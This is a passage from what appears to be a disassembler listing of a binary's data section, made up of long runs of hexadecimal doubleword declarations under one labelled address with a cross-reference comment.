		dd 7D5A96B7h, 26FF0AB5h, 2C4CE95h, 6E8007E5h, 7BFC3860h
		dd 10E0083Fh, 2A04112Dh, 4C5C94h, 0B85115B9h, 29618BBh
		dd 32372027h, 0EE709498h, 0D891D61h, 8C471A21h,	0B095AE60h
		dd 109F676Ah, 766A05Ah,	0BC99E97Eh, 6D00B02Ah, 5A81C74Fh
		dd 0C5421F94h, 8285CD70h, 6CFE78B4h, 0B0C19684h, 60325CD5h
		dd 530620B7h, 953CCEACh, 0B6760126h, 3AE781D2h,	70200831h
		dd 7D60C452h, 2E13006Fh, 9AE011EEh, 1877C08h, 7DE7C4AFh
		dd 0C81217C0h, 0AE0A7C49h, 98962704h, 6C3E800h,	5B94D577h
		dd 21F402E6h, 70D0D834h, 91A7EF32h, 20AC4684h, 249A727Eh
		dd 2C583748h, 9008B4BAh, 9C0E022Bh, 225FBE38h, 827C666Ch
		dd 0C8AD2E6Ch, 0EBA496A8h, 92262089h, 1324A400h, 0D80FF395h
		dd 0E19FB53Ch, 0BAFDE058h, 8417DE1h, 7860602Bh,	0A348907Bh
		dd 0C880F70h, 50F88417h, 45FBBDEEh, 50481F84h, 0D4A17F75h
		dd 0B72C244Dh, 3023E340h, 2C70D288h, 45007710h,	3B1F7502h
		dd 3D96AE07h, 3A0913F4h, 1C8F2A3Eh, 0BA89DD20h,	0AC00BD35h
		dd 66D2BBDCh, 4DB3B8Dh,	98B0FEF2h, 8098940Fh, 74960960h
		dd 654E648h, 3FF99454h,	0A0939D78h, 5E857FA7h, 38B48089h
		dd 0E00288C4h, 0E8372E68h, 6EC6484h, 0F194ECFEh, 200528FFh
		dd 0F087EE38h, 61D25492h, 32E2A04h, 8C089788h, 0AC9C510Fh
		dd 371EA2CBh, 39704036h, 25B63194h, 31A8ED80h, 6840A4A0h
		dd 9F5DE8Fh, 838402EAh,	3B530030h, 82958580h, 9277AF4h
		dd 44216B00h, 39051143h, 67160299h, 458490C0h, 0CB6E002Eh
		dd 0BC3EB9B5h, 0E7007D7Ch, 0B116092Fh, 0BA767A97h, 0EDECA0D4h
		dd 73BD28B0h, 1C34249Ch, 9D004FA8h, 44DC6D2Bh, 94A1B092h
		dd 98403A1Bh, 46C4793Fh, 0FE3100D8h, 8B76E6D6h,	900FD37h
		dd 1168C07Eh, 2C944753h, 825CE7E4h, 2A6DEE8Ch, 5309D846h
		dd 0A05A2894h, 19D0CE98h, 14CB484Fh, 0A9C6331Ah, 87BCE080h
		dd 2E2A6D2Ch, 3D49B4EAh, 84ED1824h, 77DC020h, 0DBAA923h
		dd 0DC01FBB3h, 0A65D8BEFh, 204FA430h, 920D886Ch, 0B347120h
		dd 0CA6EE37h, 48370A2h,	52EB5000h, 97C99CBh, 0C4197667h
		dd 0E8B02531h, 7B5C3CC4h, 31ECC800h, 20512268h,	0AC2497D0h
		dd 458F787Ch, 0D6DAC3B1h, 4AE6FAEEh, 0B0840920h, 944508A0h
		dd 8E01BE7Ch, 0E9A8DE4Ch, 76C2CFB8h, 281F0882h,	392C1864h
		dd 0C0F482Eh, 97200EDBh, 0EE27D001h, 0E8570DB2h, 7A641F10h
		dd 95967FB9h, 0F9602406h, 94F2D024h, 2D24442Ah,	804E041Bh
		dd 0F16A203Dh, 0EEAE18F0h, 0AF36514Ah, 22DB7601h, 0BF39D5B1h
		dd 7D279072h, 0CDFE98C8h, 2EB2406h, 73A0CF82h, 12099B4h
		dd 0F4EE2F05h, 40A865C7h, 9C344F90h, 401F7D28h,	0B07C3F29h
		dd 0EC017812h, 5FD09622h, 9C9A9050h, 0EB2B2431h, 8FB01E02h
		dd 928710B9h, 41DFC36Ah, 3A3CA0C0h, 6102A70Ah, 4D094003h
		dd 0B03402D3h, 32230048h, 6000551Ah, 0ADCCEE07h, 167E229h
		dd 0B870F6F3h, 0DB3CF187h, 6D69C0ADh, 0A0012CCCh, 0A5927FECh
		dd 98900A3Ah, 720E0324h, 4A6EBB0h, 0F1EE34B8h, 3A20C2BFh
		dd 5EEF2840h, 3E006948h, 0D8B7AA24h, 990E3004h,	0E0C8C138h
		dd 563531EEh, 74AEDF28h, 320521CCh, 0C238980Eh,	0F510145Dh
		dd 0E2E9C107h, 217A153Ch, 11E1709Ch, 3305D380h,	16E8B314h
		dd 0B9CF014Dh, 9D328FCBh, 0EB6CB025h, 807530B0h, 17F84950h
		dd 0F03C017Ch, 54A88069h, 808ABC82h, 6CE54CABh,	2080D43Dh
		dd 18EA7866h, 0B53CD0D9h, 89028B2h, 0CD0021FFh,	8A10730h
		dd 0A1800496h, 95617F9Dh, 99DB872Ch, 0DCAFC3A8h, 52668602h
		dd 2F16B440h, 4D3CA89Ah, 24EA05DBh, 5C02227Eh, 48356516h
		dd 807BC8DCh, 4E01EB7Eh, 0BF9E2820h, 50658378h,	0B0E8D840h
		dd 68F94949h, 0E075B841h, 3E6DD420h, 8786E805h,	5857C597h
		dd 590C71FBh, 0C4C6654h, 28CC8B97h, 0E4A10075h,	6B1382EDh
		dd 30F5CBAAh, 7D00F718h, 0E9B795CCh, 1D7B3F78h,	3D6A58F9h
		dd 0B5F8D04Ah, 4E012071h, 2BBDCEB3h, 0EBFBD8A9h, 261CA1E1h
		dd 0C13798D8h, 4FB0F170h, 21C09528h, 512709F0h,	380C02BEh
		dd 8053033Ah, 0CC130FB8h, 11A23500h, 0EEEA121Dh, 64E85DA4h
		dd 9D33B407h, 0CFFD007Eh, 8A07C3Ch, 0E1CA9B95h,	0D70F741Dh
		dd 0D0478A78h, 980874A6h, 9C7C3FD6h, 1F831094h,	0F441880Dh
		dd 18A19638h, 25AA4FE4h, 42F01E23h, 0C1DC0103h,	0E0B6F116h
		dd 0A2F303h, 2721B840h,	13ADB0F5h, 2DE01463h, 28F8B5EEh
		dd 0ECAC3C00h, 7EC8C284h, 0A03EF7Bh, 0F294758Bh, 8885843h
		dd 1C3E4D7Ch, 0D1169C00h, 67B0FB11h, 4C500264h,	7C0EA888h
		dd 81144BA0h, 3991D488h, 0EE045424h, 78C2F630h,	0CA7F519h
		dd 762E1882h, 1CB051D0h, 7E3E77F0h, 87B90091h, 21C1E3Fh
		dd 170D74C3h
		dd 0B4163DAh, 54A3A9A0h, 787F068Ch, 0A74D8A02h,	7E5F943Ch
		dd 30831704h, 0B11EDB44h, 107A2A31h, 34231731h,	0F464310h
		dd 5E3701Ah, 44D088D4h,	0FF7B890h, 0A1E6D956h, 9808E81Dh
		dd 1FE7B28h, 0D2C3D6F4h, 600B2581h, 7F42ED6Ch, 5D4FE1Fh
		dd 35BEAB1h, 372C094h, 87AED1F8h, 3F4C94B2h, 0C67EC038h
		dd 67172Ah, 0A7DEF58h, 0D5AA74B3h, 0B8E72617h, 0A73C4C00h
		dd 1DD1A31Fh, 0AACF9604h, 0BC9F27BCh, 0E9FAB490h, 560C4CB0h
		dd 0E04AB394h, 42165AF6h, 6AEBEEA0h, 51255840h,	81309078h
		dd 80EF1061h, 0BB86055Ch, 0FCE19607h, 1EE2002Ch, 175678F7h
		dd 840E5DB3h, 39DE2D80h, 2B00FE27h, 3BF37A66h, 24B13EC1h
		dd 80A83C3Ah, 36B03F3Dh, 1F3A6DADh, 659802Eh, 7E97794Fh
		dd 2250CE24h, 0B739B102h, 0CE6A880h, 70E33A33h,	0AB000F48h
		dd 0DF6D2DDAh, 13D110Dh, 0C2C01F24h, 3026CE40h,	0D12AB02Dh
		dd 0AC758088h, 0F718B8C0h, 5A2A63Eh, 0EE1FC4CFh, 89BCA021h
		dd 17288500h, 5E9EFB08h, 0ADB4003Ch, 95EE388Fh,	7892B360h
		dd 3B9460B1h, 0D12200D8h, 2D9DD6BDh, 31965A23h,	82AAC4FCh
		dd 93642E10h, 22C7AB9h,	0CE4A54D9h, 0D4694F96h,	2842DA0Eh
		dd 0E0204466h, 2E5309D5h, 0D8E47311h, 48EAAD18h, 0F079CE10h
		dd 9E81F0E7h, 8A6D09F4h, 237ACC0h, 8558E369h, 4CD0A2A8h
		dd 9204A96Dh, 5BCE2074h, 939FD906h, 298D59Ah, 0E6FF3ABDh
		dd 0BCE8527Fh, 358059DBh, 400100BCh, 9453E063h,	0D09C38E1h
		dd 83F1AD61h, 17CC0ACh,	3BCD0E65h, 39C8EBE9h, 0C4A1C768h
		dd 0BA010436h, 0BBC5BE1Bh, 0EBF3E820h, 20C072E2h, 4A524058h
		dd 94E61F88h, 34A84715h, 0C4C17078h, 51005BA3h,	0A09EBA32h
		dd 4B3444CBh, 6020D202h, 0D620B8D0h, 79A0A1CFh,	170BB822h
		dd 0D444156Ah, 39C24B73h, 0AC24786Dh, 2C1D68ACh, 3FEBF9h
		dd 29E1F5FEh, 200025F0h, 81DFDBB2h, 9F4F680h, 7FBAB94Eh
		dd 0C038D824h, 0DBB3B82Ah, 0B067E60Bh, 7E4460BDh, 0D2A503F2h
		dd 953F896Ch, 33E452E8h, 0FBECEAF8h, 3C53DF00h,	0E32FB9B5h
		dd 0ECFD0571h, 20EB4F20h, 0A985EEFCh, 5C98A498h, 3F36E020h
		dd 7CCC9976h, 4E4096C3h, 0B8F4D104h, 9CB16C2Ah,	3D881872h
		dd 60016117h, 685EEE2Ah, 0B56864h, 0D06F5167h, 3920E8D6h
		dd 6EAC9006h, 0B9028609h, 607AA5F8h, 312420h, 33963455h
		dd 22375C1Ch, 7B3C6A03h, 88EA4D1Fh, 0E052247Dh,	0EF8E0663h
		dd 0B88DC0B0h, 0C0EC2769h, 0BCEA3520h, 217E8904h, 14A77045h
		dd 201A4B68h, 6029B4C8h, 160CD8D6h, 1F0180Dh, 0C67608C4h
		dd 64D48494h, 6B018E18h, 0EE37F22Bh, 40813461h,	45169ECEh
		dd 201425C7h, 0AE015044h, 6DF79B7Eh, 14230127h,	8F485600h
		dd 0B2CF1552h, 3509ACB6h, 656C10C3h, 96471C79h,	50B5186Ch
		dd 8901F68h, 4BD92E09h,	5CC0629Ch, 0B5460C9Ch, 6E04E639h
		dd 5ABD960Ch, 0A834C0F5h, 0D4745176h, 3D8A69D4h, 97022930h
		dd 18C1BF3Dh, 7D10D058h, 0E512BD21h, 1D8890D6h,	0F660B396h
		dd 7CBC3C88h, 8052002Dh, 0AE2F9A5h, 0B4EABA39h,	4B045902h
		dd 0D0E4EB94h, 28460084h, 0B6083D30h, 0D60E2075h, 120C22B7h
		dd 2438CCE1h, 3128F059h, 3439248Ch, 43E68D5Ch, 2C7C3688h
		dd 8650602Fh, 15B0D365h, 2780309Ah, 0B496BC99h,	50B340h
		dd 80C6C97Eh, 38C8B117h, 597B092h, 34E6FF44h, 1DA89875h
		dd 2F381722h, 4716C810h, 0A88EDD28h, 39457D32h,	0B4F01A8Fh
		dd 1C8E0126h, 0B5F0D184h, 748FCA4h, 0E4A9E272h,	144654EEh
		dd 0C19F89D4h, 28698158h, 3889B50Fh, 3499B063h,	23D6B00Fh
		dd 5201013Ch, 0C08342A1h, 674C0B54h, 983378E0h,	26DD7601h
		dd 24E1E98Eh, 82A70030h, 3899F0F0h, 38138112h, 708870C5h
		dd 200E409Bh, 13F88448h, 2437D33Bh, 362833F6h, 19384725h
		dd 0F92E74A8h, 8D3C9417h, 0C450880Ah, 0F4B28538h, 0A286B46Ah
		dd 280441F0h, 0BB0C17A0h, 0DC00ECDDh, 0B3C7AD6Eh, 830AC54h
		dd 1E121428h, 2593D830h, 6BEF28EEh, 88BAF89Ch, 575018ADh
		dd 0C000AE98h, 4FFD8F3Ah, 9EB1681h, 0CEB0F60Ah,	201EF8F8h
		dd 0CC0BC5E6h, 0A99C24FBh, 0BE0AC1Ch, 0F482771Ah, 0B0018CE0h
		dd 3880F3F2h, 0B583A95Ah, 172454A7h, 0AD860024h, 0E1208BD8h
		dd 331AF078h, 789958FEh, 32EE1C91h, 22B838F4h
dword_4E414C	dd 16546C50h, 70409A64h, 0C71000D2h, 7CAE9865h,	0C0B7CE1Dh
					; DATA XREF: ___:off_43A870o
		dd 80F68798h, 5494207Dh, 6DA042h, 17913583h, 0DCF5F803h
		dd 82C4391Eh, 0E65DE0D4h, 0E8B0186Dh, 662A409Ch, 5C898E0Fh
		dd 88ED009Ah, 5CA5D438h, 225A7020h, 0AD037648h,	0CD79006Eh
		dd 9FF525D6h, 9779941h,	7F50EDF2h, 17090208h, 81C8F5E7h
		dd 0B17DB04Ch, 5D12C479h, 1C4C30ADh, 0A3E618EAh, 7BA1B709h
		dd 6688B879h, 7FD80288h, 964DD4A6h, 95247858h, 3980B06Fh
		dd 30339F89h, 85B60743h, 20A83F3Ch, 0BEC19565h,	36B7C304h
		dd 0C4ACB99Dh, 0A8B196C4h, 80F45CECh, 6620A637h, 0F9980392h
		dd 0C4B94216h, 88B7AC2h, 50E964C0h, 2EFC76F3h, 3912D437h
		dd 0ABED5C1Ch, 12380F48h, 31CA9006h, 502E7A28h,	7196EC69h
		dd 3778C442h, 1980D336h, 8616610Ch, 0B04D30D1h,	9B372CE8h
		dd 88F42184h, 35000906h, 95B95F9Ah, 30C2480h, 0C482E9ACh
		dd 38E0811Bh, 0DF3097FBh, 0EE3F1135h, 0B5DE2504h, 0C202073h
		dd 0AD960513h, 3C563881h, 1A29860h, 3D2D4FEDh, 99232F94h
		dd 0AEFC8FA1h, 12B20DE0h, 0E99679ADh, 1E62014Ch, 0C3E6352Fh
		dd 1877D7E4h, 208136B0h, 0D104CD47h, 798E24A0h,	0F8262CA1h
		dd 8810312Dh, 3476CD4Fh, 0A54D7216h, 1826630Ch,	30D80746h
		dd 0D0F511B6h, 96D01B87h, 0C6310E25h, 5C30796Ch, 175EA3EEh
		dd 35488C84h, 4C249B4Eh, 574C6880h, 0F8AF007Fh,	96088D65h
		dd 0E0B4F12Fh, 6B9950Fh, 2961A96Ah, 9728EA32h, 50FE18ADh
		dd 3C00B887h, 0B54B3F8Fh, 6BBA96CEh, 0ECE73886h, 91AEF00Eh
		dd 7DC28C48h, 78406104h, 8CB83F2Ah, 9789C604h, 4CC08E70h
		dd 4F41961Eh, 780C46AFh, 2D2D188Fh, 33F84034h, 2C60B208h
		dd 6148E6BAh, 2F289395h, 0AEE2038h, 0BAE29F50h,	8761744h
		dd 8E9EBBFCh, 0F0C86E0h, 71228BAAh, 50ECB6F2h, 0FF202EE8h
		dd 862C178Dh, 0E2DC2266h, 8B2FD0DBh, 0D10C6E8h,	73E7EE32h
		dd 9C684070h, 503E2585h, 3AB4181Ah, 0A0997E38h,	5437BD8h
		dd 0B6945621h, 0C4F04881h, 78D0414Bh, 7E229084h, 0BFA88CEEh
		dd 4E4F0540h, 0F8B874F3h, 84E001BCh, 0EC962838h, 6DD4022Eh
		dd 1C6ACCB8h, 304E048Bh, 2CDB6D2Fh, 30EEE8C8h, 47C87512h
		dd 43052BEAh, 0A6ADABBBh, 3CC629C0h, 0FEBA271Dh, 0B3B0E407h
		dd 30025CCCh, 88112E24h, 10E052BEh, 259AC1ADh, 0CF7C0227h
		dd 2B44D0D5h, 0C1E0EF3Bh, 304D173Fh, 2C5571C4h,	0AC81E060h
		dd 0DC0FCC98h, 72459587h, 0C066180Eh, 8E16E31Ch, 4F989138h
		dd 10B81DCFh, 4A281755h, 0A17A4D7h, 342CE170h, 84FD40D3h
		dd 7347EC1Eh, 0BCEF7DC0h, 15A99640h, 0C40AA597h, 41E8D32Eh
		dd 281643EFh, 0B5189DCh, 1D04404h, 28983453h, 43F3BCEEh
		dd 0F2E8EB98h, 39002381h, 582286A2h, 2786633h, 0C33AFF9Ah
		dd 307490B8h, 42048F58h, 0A9970951h, 0B474A011h, 60B3943Bh
		dd 0ACAB107Bh, 16024755h, 6D650D3h, 82F0C288h, 3C59C8h
		dd 0A1786860h, 0B0EDDF06h, 0B0B07D24h, 2144255Ch, 0E31350A0h
		dd 0FE0A1BA9h, 8B43CC7h, 79EE2602h, 50845EFFh, 0AD25BB23h
		dd 0EA6CC38Eh, 18A0D279h, 0A0E99897h, 3E0CB0B5h, 103D4994h
		dd 0E1962A06h, 5070B6C4h, 90C92F18h, 264C9635h,	72456B1h
		dd 0B94EE5Bh, 0FA37B8B9h, 0C47CC3h, 0EE2C09EAh,	0D42E5DCBh
		dd 0EC7D7700h, 4BEFFD56h, 8084B29Dh, 75872E64h,	1FD60653h
		dd 607240EEh, 2183E800h, 7E1BA3E4h, 0BAAD00EFh,	9C3F92A7h
		dd 1E00AEFDh, 0BEC77DD6h, 37906210h, 110A389h, 30483E17h
		dd 91303F20h, 25EA4076h, 44E31CB0h, 0EE2943B4h,	0F1273C61h
		dd 961C21F2h, 0F0005302h, 4925B06Ah, 22149508h,	26C0BCBCh
		dd 9AB809F4h, 34CCC08Bh, 4E414861h, 54202DCDh, 0B689240h
		dd 1BD39599h, 0D1172823h, 0E5C84B5h, 0AD4333C4h, 881E0148h
		dd 0C0A7F021h, 80B17114h, 5EF47D3Ch, 95EDB009h,	8E7860F4h
		dd 0BE241D91h, 0B835C0E8h, 4260385Fh, 0E92CEE09h, 12AC6CFEh
		dd 4732BB96h, 0F03B85A4h, 0B5391304h, 36D55206h, 90F8A312h
		dd 3823069Ah, 0D91AED17h, 0CC402EEDh, 134B8395h, 0F27D01FDh
		dd 0CA33B0DEh, 0E629D0D4h, 0AC526D26h, 3CFC5452h, 0EC02612Dh
		dd 0A070C996h, 95041094h, 64E5046Ch, 4E4FB002h,	0DA812C20h
		dd 0E0A717D0h, 943250E8h, 58BE90FEh, 0E9220660h, 40CD8202h
		dd 58C4B673h, 66005D86h, 2C7847Dh, 4A09CC07h, 32E01969h
		dd 0BEA0F0h, 4D9866A9h,	11B4ECFDh, 1F72CB8h, 84640360h
		dd 38C0B5E7h, 9E057D81h, 87B91C25h, 4131C4D2h, 98313AB4h
		dd 7F18B022h, 5F81A060h, 2A97BB07h, 3FC187F1h, 3C2BFFCAh
		dd 0AB182758h, 95B0124Fh, 0D0BB0E19h, 94828810h, 0F8CBFF5Fh
		dd 0B4A5A4E3h, 17150908h, 10D441B9h, 0BF02FBD3h, 0D56695A1h
		dd 3452ACB0h, 9A7D9D27h, 6D586090h, 25C74FD9h, 995C185Ch
		dd 4166F47h, 0C80E553Ah, 3FCBC05Ah, 4BB075AEh, 8D5C1380h
		dd 0C0F3BC4h, 0EE86C052h, 35D65Fh, 0AB0B019Ah, 0CD90263Dh
		dd 80F19627h, 0D9F2E678h, 206098F6h, 4D040BFAh,	3F7BEE98h
		dd 90FF9CC9h, 97CDFD97h, 0E19CEC08h, 69C67605h,	8E593FE4h
		dd 804E3792h, 0B08342FBh, 7D45001Fh, 0ABF47AFEh, 0EB0197CDh
		dd 766EE0DAh, 18BF0895h, 4B86F100h, 0EF55012Fh,	0B5615900h
		dd 3F8ADE9h, 0AB883D51h, 4CE38780h, 0FA2FC584h,	4F283560h
		dd 0C0639F92h, 0E6654370h, 5500C0DFh, 75EBD006h, 0E89B724Eh
		dd 0BBFC3C32h, 0F3804C00h, 5411D956h, 7AE25A00h, 4115C2FDh
		dd 0B56F007Dh, 5031F028h, 0D0C0EBFEh, 6566AFBh,	758B0F78h
		dd 5C80BF63h, 31F8DF15h, 0EFFB6503h, 4CEE64B1h,	8B002590h
		dd 554098E1h, 0B4277C90h, 0F9C7647h, 9183E324h,	58036E31h
		dd 0DFFDCD49h, 2BFC245Dh, 22470140h, 0F4C11AAAh, 0E5183A30h
		dd 0BC89F0D6h, 0B6CC0760h, 8CA4573Dh, 70C37BD0h, 0FEA5DAh
		dd 182DE280h, 3590DC34h, 9378E0C5h, 0A8D85C07h,	27B47707h
		dd 0DF1DD203h, 0FF05A6B8h, 2606EDA0h, 5718F818h, 0EDC5A20h
		dd 23137025h, 0D9522DE0h, 58C312FAh, 0E875B3CAh, 3BD8BD7h
		dd 0D592BBFEh, 887207A2h, 3283030Eh, 0AE26F1Ch,	488FC447h
		dd 0F22FA32Bh, 16280380h, 4EB9F806h, 0A8DA7000h, 0F97AB4A0h
		dd 6E6A3F28h, 0E58027B3h, 960C2050h, 0F87BCCA4h, 0B3185660h
		dd 588BF77Eh, 0C44570B1h, 0C8D29887h, 132F712Ah, 48330167h
		dd 0A0A1D8h, 0FA2D301Bh, 0E1F92092h, 2F3B2090h,	0D928E1ECh
		dd 6880F8AAh, 0CD6E174Ah, 3C023930h, 0DA099D61h, 14ECC1DFh
		dd 0C17F95E0h, 29B73A10h, 6760F64Bh, 71309241h,	2F5DA849h
		dd 0C1DC64DEh, 0CF7027BFh, 0C10512C7h, 64E1829h, 80C4FD92h
		dd 0A3D24590h, 1031722h, 0D4B3734Bh, 0A4AB60DCh, 0BC096540h
		dd 0D2A80066h, 177DFF5h, 71A60B8Ah, 801B5D2Fh, 16B01970h
		dd 377A0646h, 0CE68562Bh, 7791CAC1h, 307000A1h,	0E4D10F5Ch
		dd 4D80617Ch, 0F0F464A5h, 7A4B060Ah, 320E1C2Ch,	8CC9B908h
		dd 7A30F808h, 4CC02039h, 81600030h, 45B41336h, 464CE52Ah
		dd 80843804h, 703E5A6Ch, 1EEB82Bh, 981CE4FBh, 0D2682F44h
		dd 0FA4D1440h, 0AE98DC90h, 60329230h, 3BF99626h, 0AF80857Fh
		dd 0E4336683h, 0D130F8A2h, 978778E3h, 0B0C8A3B6h, 2C2FB4h
		dd 54C9BBE6h, 0DA938D62h, 8C90DD48h, 0E336072h,	0CC2FFA73h
		dd 933194F5h, 0A9540A88h, 1363AC10h, 0D450F5A8h, 194134A8h
		dd 0ED67A041h, 2A006E60h
		dd 0F3007BB7h, 0FBDBCFF8h, 0A0A6D7E2h, 0A4222424h, 0EB5A04A8h
		dd 9168F81Bh, 4505D080h, 0B8E211E4h, 0A1786075h, 0A36F4288h
		dd 0D4E9123Ah, 0D2604CBCh, 93E1C060h, 0FAB21D49h, 0FDCF0CDFh
		dd 1B40EA48h, 0A0D7CD2h, 4423E760h, 8B170AACh, 8A6401B8h
		dd 0DC47B3C4h, 0EB63B2F8h, 0D42EB450h, 9340D481h, 0AE792887h
		dd 500CF6F8h, 92A4BC01h, 7FBA6A91h, 645BA834h, 0C0D0E09Ch
		dd 0A3B04E38h, 31B6E4A8h, 312F5A80h, 67D03AB1h,	641C30E7h
		dd 6004D490h, 577BC9E3h, 0B25CE0C0h, 0C4F748D9h, 38801989h
		dd 3854F8BAh, 69034576h, 84A909FDh, 780C9FDCh, 11700122h
		dd 8F40EAF8h, 29C2FBE4h, 0CEE20880h, 6448BB8Bh,	1285DFC0h
		dd 9008FA9Ch, 7BF680E5h, 0E4DC0CD8h, 7028F26Dh,	8E041801h
		dd 0E6D1B100h, 8BEE349Ah, 20AA1F00h, 0A0A49A7Eh, 66327797h
		dd 9E520FFh, 2F80E207h,	0F8CC6758h, 0B94A65DCh,	0D9940273h
		dd 48C83656h, 0E12E74F6h, 0AF009BF1h, 2A9D66CBh, 0BCFE02DAh
		dd 59EC6ADCh, 2893EC64h, 4B09B800h, 302F2ECAh, 7A78F543h
		dd 0DCE217ABh, 28E16F32h, 9268C828h, 0A24CC8h, 0A121017Dh
		dd 0A52FE7FAh, 436C48F8h, 465BD000h, 0A4749961h, 703839E6h
		dd 67D39300h, 8242315Ah, 0CC96A500h, 50A4D758h,	1D16EE5Bh
		dd 80F3307Ah, 0BC6A9B3Fh, 1D005E21h, 7BCDFFB4h,	0CBA22BD9h
		dd 501A9BC9h, 19F8D481h, 723420E4h, 0D91D709h, 2DBC2045h
		dd 6F4F9250h, 8907B8CAh, 0FFD48301h, 0CF421000h, 38E021BBh
		dd 0DD84003Bh, 70F2C317h, 0D302B218h, 7DD978F7h, 0B41848E4h
		dd 0F86EEEDBh, 0FCA91F8Ah, 0FE003BADh, 34BA6DC4h, 492818F0h
		dd 0A620A8FAh, 2931021Eh, 2A366017h, 73C0CC63h,	0DA0CD2F3h
		dd 88BFB291h, 0E516006Eh, 2E3D212Dh, 0A7FEA423h, 0F12BD107h
		dd 500CF9A3h, 0B4638031h, 0BADAF000h, 0A25EE2B9h, 2FE50CF9h
		dd 0AA20D8EEh, 15BEF201h, 0A8364857h, 2E8AE0F6h, 44909Bh
		dd 73B3A989h, 0B492E467h, 4680B762h, 6A848257h,	0DEA0C07Eh
		dd 1267E876h, 1FC7B4F8h, 91B383F0h, 304CD928h, 0D2681050h
		dd 44927900h, 5CF2C417h, 57ED1B03h, 611CF75Eh, 8CF85918h
		dd 0CDD0504Ch, 3112C027h, 6040D3DCh, 475FFA1Dh,	8DFB2C13h
		dd 9D0850FCh, 7E15A890h, 24F88BDFh, 2A0F4818h, 580D2CF8h
		dd 0D57F0020h, 0A27C9B88h, 0DC149746h, 1DCAC14h, 0D953C9BAh
		dd 10BEE54Ch, 496C2100h, 0AEB45E1Dh, 0B3A42A07h, 0BDA1A51Ch
		dd 17F83547h, 3EFE78DFh, 9980BFD7h, 7B9564B3h, 0D27D4788h
		dd 73E8CD5Dh, 5A4540h, 205D28B2h, 9314CE35h, 8AE82350h
		dd 0BEB4E600h, 2979DF0Ah, 3112EAEh, 0A2C700F0h,	7A5BCDB7h
		dd 21F9F4F9h, 0D4009876h, 6440FA1Ch, 1CAB11B9h,	4230CC01h
		dd 587F92E3h, 0D0656C42h, 133EA4A6h, 4C41CD2Ah,	3079C4CFh
		dd 0A4D81040h, 186A5CFEh, 21BF2701h, 351B63DCh,	0E52CF420h
		dd 2F799A05h, 0C0D2925Fh, 637CC178h, 8301875h, 0F88AF95Bh
		dd 61C4D546h, 24299B92h, 13F066B8h, 16994094h, 0A8898010h
		dd 18408A01h, 55FE7725h, 606E3280h, 9CFC7089h, 0D200D746h
		dd 0DD2AA437h, 26B9E6F9h, 4158C064h, 8E15D877h,	9F0A0339h
		dd 9420AC16h, 48765BFAh, 373A38E6h, 9CA0CCC0h, 0F08036EEh
		dd 0FF050CA5h, 1408AE70h, 0DB65101h, 9ED42F41h,	0DA4B8880h
		dd 91A4BBF8h, 64889513h, 2A42C001h, 0B05576F1h,	0E792D841h
		dd 0E8A8E1ABh, 0FD7A0098h, 9C413CCAh, 51C0BC32h, 9F464836h
		dd 0F0F1005Ah, 0F2CA4E3Eh, 864C7CBBh, 25D21340h, 3D597400h
		dd 0A0115589h, 0E5E97784h, 9034F430h, 0A0D7769Ah, 0A42D7A74h
		dd 0E4D45CECh, 1D84326h, 972F5EF3h, 4428A451h, 10BDC70Bh
		dd 9674E22Ch, 839D70h, 8D7DC6ABh, 2E007A1Dh, 9A32E64Dh
		dd 32DA6DAh, 9255AD80h,	680674BAh, 0C8FE2F60h, 49377C48h
		dd 0AC264426h, 6A3E42C0h, 4C01904h, 0B55E45Dh, 0CF24D98Dh
		dd 6D76AA03h, 402048h, 0EB0F2ADFh, 7B8F479h, 6F4A075Ah
		dd 92C85A5h, 0B8078208h, 3FC3F057h, 0DC152BF0h,	20F4AB03h
		dd 0B3782C73h, 0BA304C04h, 5E001491h, 8D8BA281h, 92F40AA0h
		dd 0D4915Fh, 2E11195Ah,	792E718Eh, 0DC175086h, 0D2A3B840h
		dd 1437845Fh, 0CB98F57Ah, 0F0812A25h, 0C2AE8545h, 0F992A4A1h
		dd 2EE47467h, 79823496h, 40D48BC7h, 480AFA10h, 0BC3E1C7Ah
		dd 38C0A699h, 0D9B08672h, 0FD10AF0Ch, 30705840h, 0F1130233h
		dd 8168DC8Fh, 49F2F4A0h, 0D900A8DBh, 451BE96Fh,	24DFFE65h
		dd 9BC4DC0h, 0CCB5D42h,	0D75C7812h, 0C48B5C8Ch,	814A1170h
		dd 0EF5F39F4h, 1C4C3050h, 5616B913h, 0B0862470h, 0B88B06DEh
		dd 0E9609219h, 300160B8h, 0A179FD3Eh, 808C7E16h, 10C14D43h
		dd 0F5281401h, 9E4AD964h, 832ED200h, 0EFBDB004h, 6EC11880h
		dd 98CB0747h, 79D021h, 2C84B2FCh, 91DB570Fh, 80F7F225h
		dd 96971830h, 0E416067Ah, 0E0D145ABh, 0F365F81Ah, 0D88063A8h
		dd 9C2BC395h, 424B13D4h, 2F4DFF34h, 54745460h, 0E9A6EA1Ch
		dd 358A0038h, 13F0BF25h, 300A7D6Eh, 0B41AE417h,	3B790569h
		dd 18EC485Ah, 72CD870h,	55065859h, 2C956960h, 0B8EA3B1Eh
		dd 0CC820A60h, 0E23D80A4h, 4B8A9879h, 7E3D8C16h, 5C53725h
		dd 3EBAA010h, 7E7BE665h, 342FC20Fh, 0D1EA2797h,	3C88208Ch
		dd 8F18252Dh, 0C0581067h, 6E044203h, 46B94Ch, 60F9320Bh
		dd 58CC702h, 62842533h,	5DA60688h, 3E1E2269h, 0BE4E8A63h
		dd 617F7C02h, 34EACDE9h, 6CE26BA1h, 56DBF801h, 0EC465EBEh
		dd 0EE778251h, 630C191Dh, 706E681h, 0C825D78h, 3D691088h
		dd 74370A01h, 618EEAFCh, 0BC54504Ch, 9871BD03h,	0BF0A3995h
		dd 73660024h, 0F1E78207h, 763B5513h, 85093CC2h,	273061F7h
		dd 0A5CAC0AEh, 9908DAF1h, 12D7CEAh, 0BB53C431h,	862C4539h
		dd 0F100D3C4h, 11E9C25Fh, 5469C932h, 0A28ACE30h, 0F88A238Dh
		dd 0E560ADD7h, 0C177D6EAh, 89535128h, 0BE1120DFh, 1482EB40h
		dd 0C06010F4h, 5415F871h, 102EDF27h, 5C9A17h, 0C8E213D4h
		dd 30EAD00Ah, 0BF3CE772h, 653DDE29h, 75EC18D6h,	905BF5B3h
		dd 0C5813F5Dh, 5ED828Fh, 0F71C54B5h, 5902C055h,	0EDC1CDFFh
		dd 802C0763h, 18EC7601h, 388450ECh, 0B1A8D0EAh,	8228E88Ah
		dd 0B9FA26C8h, 0C00A2B65h, 0FD69FA21h, 10F0F52h, 0E052605Fh
		dd 739196B4h, 87A818BCh, 78FA3210h, 0C19A6060h,	6725158Ah
